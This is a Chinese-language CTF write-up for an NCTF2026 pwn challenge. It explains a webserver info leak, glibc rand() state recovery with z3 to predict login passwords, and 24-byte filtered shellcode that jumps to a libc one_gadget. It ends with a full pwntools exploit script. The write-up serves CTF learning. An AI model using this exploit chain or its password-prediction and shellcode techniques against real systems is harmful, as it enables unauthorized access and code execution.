最后的演出
分析webserver
这题的功能都要先登录后才能使用,我们先找登录的方法。
用户名是固定的admin
read_form_value_constprop_0(str, "username", username);
read_form_value_constprop_0(str, "password", s1a);
pthread_mutex_lock(&rand_lock);
v9 = rand();
pthread_mutex_unlock(&rand_lock);
__snprintf_chk(s2, 32, 2, 32, "%d", v9);
input_username_len = strlen(username);
saved_username = 0;
*(_OWORD *)rand_password = 0;
v28 = 0;
snprintf(rand_password, 0x20u, "%s", s2)
这里可以看出password是随机生成的随机数,这里又一个漏洞可以泄露。
*(_QWORD *)&rand_password[v16 - 16] = *(_QWORD *)&username[v16];
这里我们可以看出username是存在rand_password[-16],也就是它的上一个变量,这里重命名。
__int128 saved_username; // [rsp+0h] [rbp-22C8h] BYREF
char rand_password[16]; // [rsp+10h] [rbp-22B8h] BYREF
if ( input_username_len <= 0xF )
rand_password[input_username_len_ectpye - 16] = 0;
这里说明如果我们输入的用户名小于16字节会在结尾加上0。
关键漏洞输入失败这里:
else
{
__snprintf_chk(ptr, 0x2000, 2, 0x2000, aS, &saved_username);
send_response(fd, (__int64)"401 Unauthorized", (__int64)"text/plain; charset=UTF-8", ptr);
}
这里返回的信息从saved_username开始输出,这里设置的输出限额很大,所以相当于遇到\x00才停止,也就是说假设我们用户名输入A * 16,就会把后面生成的rand_password泄露了,我们就成功获得密码了,但是注意,我们每次post都会rand一次,所以我们想要获得密码只能通过通过多次泄露预测下一次的rand值,原理大概如下:
标准的 glibc random()(当状态序列大小为 31 时)并不是像 LCG 那样乘个系数加个偏移,它是靠前面生成的随机数相加来得到下一个数的。
它的核心公式非常简单:
state[i] = state[i-31] + state[i-3] mod 2^32
但它输出时会丢掉最低 bit:
output[i] = state[i] >> 1
所以我们把内部状态写成:
state[i] = 2 * output[i] + bit[i]
这里 bit[i] 就是丢掉的最低 bit,bit[i] ∈ {0, 1}
这里我们泄露出的是output,所以我们要想预测下一个output,就要预测state,要预测state我们可以根据前面泄露的output和bit来计算,所以我们只要能确定bit就能预测
bit[31] 由 bit[0] 和 bit[28] 决定
bit[32] 由 bit[1] 和 bit[29] 决定
bit[33] 由 bit[2] 和 bit[30] 决定
bit[34] 由 bit[3] 和 bit[31] 决定
...
所以我们泄露31个值后不知道的是:
bit[0] ... bit[30]
也就是 31 个初始低 bit。
后面的:
bit[31] ... bit[63]
都可以由前 31 个推出来。
然后每个从 output[31] 开始的输出,又给我们一条约束:
output[i] = output[i-31] + output[i-3] + carry[i] mod 2^31
而这个 carry[i] 来自:
carry[i] = bit[i-31] & bit[i-3]
由于 output[i]、output[i-31]、output[i-3] 都已经泄露了,所以我们可以直接算出这次 carry[i] 应该是 0 还是 1。
比如:
i = 31:
carry[31] = bit[0] & bit[28]
i = 32:
carry[32] = bit[1] & bit[29]
i = 33:
carry[33] = bit[2] & bit[30]
i = 34:
carry[34] = bit[3] & bit[31]
= bit[3] & (bit[0] xor bit[28])
所以泄露 64 个输出时:
自由未知量:31 个,也就是 bit[0]..bit[30]
约束数量:64 - 31 = 33 条
31 个输出:有 31 个未知 bit,0 条递推约束
64 个输出:还是主要 31 个自由未知 bit,有 33 条递推约束
严格说,64 不保证在数学上永远唯一,但是已经足够我们实战用了。
如果想更严谨,可以泄露更多。
预测部分的脚本:
def recover_state(outputs):
MOD = 1 << 31
bits = [Bool(f"b{i}") for i in range(len(outputs))]
solver = Solver()
for i in range(31, len(outputs)):
base = (outputs[i - 31] + outputs[i - 3]) % MOD
carry = (outputs[i] - base) % MOD
if carry not in (0, 1):
raise RuntimeError(
f"bad rand relation at {i}: "
f"output={outputs[i]}, base={base}, carry={carry}"
)
if carry == 1:
solver.add(And(bits[i - 31], bits[i - 3]))
else:
solver.add(~And(bits[i - 31], bits[i - 3]))
solver.add(bits[i] == Xor(bits[i - 31], bits[i - 3]))
if solver.check() != sat:
raise RuntimeError("recover rand state failed")
model = solver.model()
recovered_bits = [
1 if model.evaluate(bit, model_completion=True) else 0
for bit in bits
]
return list(outputs), recovered_bits
def extend_rand(outputs, bits, want):
MOD = 1 << 31
outputs = list(outputs)
bits = list(bits)
while len(outputs) < want:
i = len(outputs)
carry = bits[i - 31] & bits[i - 3]
next_bit = bits[i - 31] ^ bits[i - 3]
next_output = (outputs[i - 31] + outputs[i - 3] + carry) % MOD
bits.append(next_bit)
outputs.append(next_output)
return outputs, bits
# 连续泄露 glibc rand/random 输出,并且 31/3 递推关系能通过校验;不连续、非 glibc、自定义 PRNG、LCG、或关系不成立,就无法使用。
outputs, state = recover_state(leak)
predicted, state = extend_rand(outputs, state, 80)
这题的key和最后root的密码是123456在远程是固定的,但是远程的获取方式我没写出来,也没看到有师傅写出获取方式的。
拿到key后,我们就可以进入pwn_worker了,但是这里要注意一点,webserver是这样写的:
if ( dup2(fd, 0) >= 0 && dup2(fd, 1) >= 0 && dup2(fd, 2) >= 0 )
{
close(fd);
execve("./pwn_worker", argv, environ);
这里会把pwn_worker的输入输出给连接的socker,我们后面是要用pwntools的交互的,所以我们这里就不能用request了,要手动写http请求,然后用p = remote申请的tcp连接来发送,这样我们后面就能用p来使用pwntools的交互了
def enter_pwn_worker(p, session, key):
path = f"/pwn?key={key}"
req = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Cookie: session={session}\r\n"
f"Connection: close\r\n"
f"\r\n"
)
s(req.encode())
return p
pwn_woker就是让我们写一段shellcode
限制:
- 只能输入 24 字节 (
0x18)。 - 禁用字节 :
0x0F 0x05是syscall的机器码,0x0F被封锁意味着无法直接调用 syscall。0xCD 0x80是int 0x80,也被封锁。0x50-0x57是push/pop寄存器的指令(如push rax),这让操作栈变得很难。
- 环境极端:
RSP=0,我们可能要考虑先修复栈。Zeroed Regs:寄存器初始全是 0。
这里限制最大的就是24字节了,我们先看汇编有没有留下些惊喜
mov edi, 1 ; fd
call _close
movsd xmm7, cs:read_ptr
mov r15, rbx
xor rax, rax
xor rbx, rbx
xor rcx, rcx
xor rdx, rdx
xor rsi, rsi
xor rdi, rdi
xor rbp, rbp
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
xor r12, r12
xor r13, r13
xor r14, r14
push r15
xor r15, r15
pop r11
xor rsp, rsp
jmp r11
main endp
我们看到xmm7里面放了read的libc地址
那我们就可以先获得libc地址:vmovq rax, xmm7,xmm7是SIMD寄存器,我们把xmm7的数据搬到通用寄存器例如rax一般是用:movq rax, xmm7,但是它的sse编码是66 48 0f 7e f8,有0f是被禁止的,而vmovq也能实现搬运,而且没有被禁的:c4 e1 f9 7e f8
.png)
我们gdb调试一下pwn_worker就能拿到偏移了。
有了libc地址了,我们常规的system(sh)肯定不行了,在24字节的限制下,我们看看libc有没有onegadget
.png)
我们看到0x58f3这个gadget的限制是rsp + 0x68可写,rcx和rbx为0,后面两个条件我们天然符合,因为题目帮我们把寄存器清空了,我们只用让rsp可写就行了,我们有libc地址的话就考虑让rsp指向libc的可写区域
shellcode = asm(f"""
vmovq rax, xmm7
lea rsp, [rax - {libc_offset} + {writable_offset} + 0x510]
sub rax, {libc_offset - onegadget}
jmp rax
""")
这里510是多点位置给onegadget操作栈,而且要注意地址不能出现0x80,因为这是禁止的,我们发送这个shellcode就能获得flag了
然后这里题目还有:
close(1);
也就是标准输出stdout被关了,所以我们要把输出重定向定向到stderr,也就是fd2
exec 1>&2
root密码用前面提到的123456
EXP:
from pwn import *
import requests
from z3 import Bool, Solver, And, Xor, sat
context.terminal = ['tmux', 'splitw', '-h']
target = '114.66.24.221:46695'
file_name = './webserver'
libc_name = './libc.so.6'
elf = ELF(file_name)
context.binary = elf
libc = ELF(libc_name)
gdb_ = 1 if ('gdb' in sys.argv) else 0
switch = 1 if ('remote' in sys.argv) else 0
debug = 0 if ('deoff' in sys.argv) else 1
error = 1 if ('error' in sys.argv) else 0
if debug:
context(log_level='debug')
if error:
context(log_level='error')
bps = [
# 0x1234,
# 'main',
# (0xe3b31, 'libc'),
# ('system', 'libc')
]
gdb_cmd = ''
if gdb_ and switch == 0:
gdb_cmd += "set breakpoint pending on\n"
for b in bps:
if isinstance(b, int):
gdb_cmd += f"b *$rebase({hex(b)})\n"
elif isinstance(b, str):
gdb_cmd += f"b {b}\n"
elif isinstance(b, tuple) and len(b) == 2 and b[1] == 'libc':
if 'libc' in locals() and libc:
target = libc.sym[b[0]] if isinstance(b[0], str) else b[0]
gdb_cmd += f'b *($base("libc") + {hex(target)})\n'
else:
log.warning("未加载 Libc,跳过 Libc 断点")
gdb_cmd += "c\n"
if switch:
parts = target.replace(':', ' ').split()
host = parts[-2]
port = int(parts[-1])
p = remote(host, port)
elif gdb_:
p = gdb.debug(file_name, gdbscript=gdb_cmd, aslr=True)
else:
p = process(file_name)
def s(data): return p.send(data)
def sa(delim, data): return p.sendafter(delim, data)
def sl(data): return p.sendline(data)
def sla(delim, data): return p.sendlineafter(delim, data)
def r(numb=4096): return p.recv(numb)
def ru(delim, drop=True):return p.recvuntil(delim, drop)
def rl(bool): return p.recvline(keepends=bool)
def ra(t=None): return p.recvall(timeout=t)
def rn(numb): return p.recvn(numb)
def cl(): return p.close()
def it(): return p.interactive()
def uc64(data): return u64(data.rjust(8, b'\x00'))
def uu64(data): return u64(data.ljust(8, b'\x00'))
def a(f, off=libc): return lg(hex(off), (ret := f.address + off)) or ret
def cb(data): return data if isinstance(data, bytes) else str(data).encode()
def lg(name, data): return log.success(name + ': ' + (hex(data) if isinstance(data, int) else data.decode(errors='ignore') if isinstance(data, bytes) else str(data)))
def menu(idx, pmt=b'>'): return sla(pmt, str(idx).encode())
def bl(address): return (address).to_bytes(3, 'big')
def ntlbc(leak, offset, name='Libc'): return setattr(libc, 'address', leak - (libc.sym[offset] if isinstance(offset, str) else offset)) or lg(name, libc.address)
def ntpie(leak, offset, name='PIE'): return setattr(elf, 'address', leak - (elf.sym[offset] if isinstance(offset, str) else offset)) or lg(name, elf.address)
def fill(num, content=b'A'): return (content.encode() if isinstance(content, str) else content) * num
def se(s, f=None): return lg(s if isinstance(s, str) else f"bytes: {s.hex()}", (addr := next((f or libc).search(s if isinstance(s, bytes) else s.encode())))) or addr
def shn(target, current_printed): return [((target & 0xffff) - current_printed) % 0x10000, current_printed + (((target & 0xffff) - current_printed) % 0x10000)]
def shhn(target, current_printed): return [((target & 0xff) - current_printed) % 0x100, current_printed + (((target & 0xff) - current_printed) % 0x100)]
_rop_cache = {}
def gg(s, f=None):
target = f or libc
if target not in _rop_cache:
_rop_cache[target] = ROP(target)
rop = _rop_cache[target]
instrs = [x.strip() for x in s.split(';')]
gadget = rop.find_gadget(instrs)
if gadget:
addr = gadget.address
lg(s, addr)
return addr
else:
raise ValueError(f"[-] Critical: Gadget not found: {s}")
def ga(delim=b'|', name='Leak', data=None):
target_data = data if data else ru(delim)
if isinstance(target_data, str):
target_data = target_data.encode()
hex_list = re.findall(b'0x[0-9a-fA-F]+', target_data)
return [lg(f'{name}[{i}]', x) or x for i, x in enumerate([int(a, 16)for a in hex_list])]
#################################################################################
url = f"http://{host}:{port}"
def login(password):
payload = {
"username": "admin",
"password": str(password),
}
r = requests.post(
f"{url}/login",
data=payload,
headers={"Connection": "close"},
timeout=5,
)
m = re.search(r"session=([0-9a-f]+);", r.headers.get("Set-Cookie", ""))
if m:
return m.group(1)
return None
def check_session(session):
r = requests.get(
f"{url}/session",
headers={
"Cookie": f"session={session}",
"Connection": "close",
},
timeout=5,
)
print(r.status_code)
print(r.text)
def enter_pwn_worker(p, session, key):
path = f"/pwn?key={key}"
req = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
f"Cookie: session={session}\r\n"
f"Connection: close\r\n"
f"\r\n"
)
s(req.encode())
return p
def get_leak():
payload = {
"username": "A" * 16,
"password": "zenduk"}
r = requests.post(
f"{url}/login",
data=payload ,
headers={"Connection": "close"},
timeout=3)
m = re.search(r"A{16}([0-9]+)", r.text)
if m:
return int(m.group(1))
return None
def cycle_leak(counts = 64):
outputs = []
while len(outputs) < counts:
current_step = len(outputs) + 1
print(f"Cycle ({current_step}/{counts}) ing---", end='\r')
try:
leak_val = get_leak()
if leak_val is not None:
outputs.append(leak_val)
else:
print(f"\n[!] Failed at step {current_step}")
outputs = []
except Exception as e:
print(f"\n[!] Exception at step {current_step}")
outputs = []
print(f"\n[+] Success!")
return outputs
leak = cycle_leak()
lg("Leaked passwords", leak)
def recover_state(outputs):
MOD = 1 << 31
bits = [Bool(f"b{i}") for i in range(len(outputs))]
solver = Solver()
for i in range(31, len(outputs)):
base = (outputs[i - 31] + outputs[i - 3]) % MOD
carry = (outputs[i] - base) % MOD
if carry not in (0, 1):
raise RuntimeError(
f"bad rand relation at {i}: "
f"output={outputs[i]}, base={base}, carry={carry}"
)
if carry == 1:
solver.add(And(bits[i - 31], bits[i - 3]))
else:
solver.add(~And(bits[i - 31], bits[i - 3]))
solver.add(bits[i] == Xor(bits[i - 31], bits[i - 3]))
if solver.check() != sat:
raise RuntimeError("recover rand state failed")
model = solver.model()
recovered_bits = [
1 if model.evaluate(bit, model_completion=True) else 0
for bit in bits
]
return list(outputs), recovered_bits
def extend_rand(outputs, bits, want):
MOD = 1 << 31
outputs = list(outputs)
bits = list(bits)
while len(outputs) < want:
i = len(outputs)
carry = bits[i - 31] & bits[i - 3]
next_bit = bits[i - 31] ^ bits[i - 3]
next_output = (outputs[i - 31] + outputs[i - 3] + carry) % MOD
bits.append(next_bit)
outputs.append(next_output)
return outputs, bits
# 连续泄露 glibc rand/random 输出,并且 31/3 递推关系能通过校验;不连续、非 glibc、自定义 PRNG、LCG、或关系不成立,就无法使用。
outputs, state = recover_state(leak)
predicted, state = extend_rand(outputs, state, 80)
for pwd in predicted[64:80]:
lg("try password:", pwd)
session = login(pwd)
if session:
print("login success")
lg("session:", session)
break
else:
print("login failed")
check_session(session)
key = "f946adebddee0f32ca7d5eea52139002d3bc6f330502086f77e89ff40f864b882b6b50aacf0dfb2f5b927e1f511d49ce875dd8a99b01ceeee650496d22369804"
enter_pwn_worker(p, session, key)
libc_offset = 0x11ba80
writable_offset = 0x203000
onegadget = 0x583f3
# vmovq rax, xmm7
# lea rsp, [rax+0xe8c60]
# sub rax, 0xc368d
# jmp rax
# vmovq rax, xmm7
# lea rsp, [rax - libc_offset + writable_offset]
# sub rax, libc_offset - onegadget
# jmp rax
shellcode = asm(f"""
vmovq rax, xmm7
lea rsp, [rax - {libc_offset} + {writable_offset} + 0x510]
sub rax, {libc_offset - onegadget}
jmp rax
""")
lg("Shellcode length", len(shellcode))
sa(b">", shellcode)
it()
题目链接:CTF-Writeups/NCTF2026/最后的演出 at main · Zenquiem/CTF-Writeups